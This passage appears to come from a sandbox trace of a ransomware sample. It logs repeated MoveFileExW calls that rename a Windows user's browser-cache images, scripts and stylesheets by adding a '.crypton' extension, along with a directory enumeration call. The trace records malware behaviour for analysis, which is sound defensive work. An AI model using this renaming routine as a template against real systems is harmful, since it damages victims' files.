files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.058] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.063] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.074] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.082] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.087] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.095] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.102] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.106] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.119] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.126] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.134] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg.crypton"), dwFlags=0x2) returned 1 [0198.138] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.142] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg.crypton"), dwFlags=0x2) returned 1 [0198.152] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.156] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png.crypton"), dwFlags=0x2) returned 1 [0198.158] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png.crypton"), dwFlags=0x2) returned 1 [0198.161] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png.crypton"), dwFlags=0x2) returned 1 [0198.164] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png.crypton"), dwFlags=0x2) returned 1 [0198.175] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.185] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png.crypton"), dwFlags=0x2) returned 1 [0198.194] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png.crypton"), dwFlags=0x2) returned 1 [0198.233] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.247] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js.crypton"), dwFlags=0x2) returned 1 [0198.251] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js.crypton"), dwFlags=0x2) returned 1 [0198.254] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt.crypton"), dwFlags=0x2) returned 1 [0198.274] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.276] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt.crypton"), dwFlags=0x2) returned 1 [0198.299] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js.crypton"), dwFlags=0x2) returned 1 [0198.359] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\uhf-west-european-default.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\uhf-west-european-default.min[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\uhf-west-european-default.min[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\uhf-west-european-default.min[1].css.crypton"), dwFlags=0x2) returned 1 [0198.366] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\WebCore.4.19.0.ltr.light.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\webcore.4.19.0.ltr.light.min[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\WebCore.4.19.0.ltr.light.min[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\webcore.4.19.0.ltr.light.min[1].css.crypton"), dwFlags=0x2) returned 1 [0198.373] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf398f800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf398f800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0198.428] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif.crypton"), dwFlags=0x2) returned 1 [0198.439] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js.crypton"), dwFlags=0x2) returned 1 [0198.443] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png.crypton"), dwFlags=0x2) returned 1 [0198.446] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js 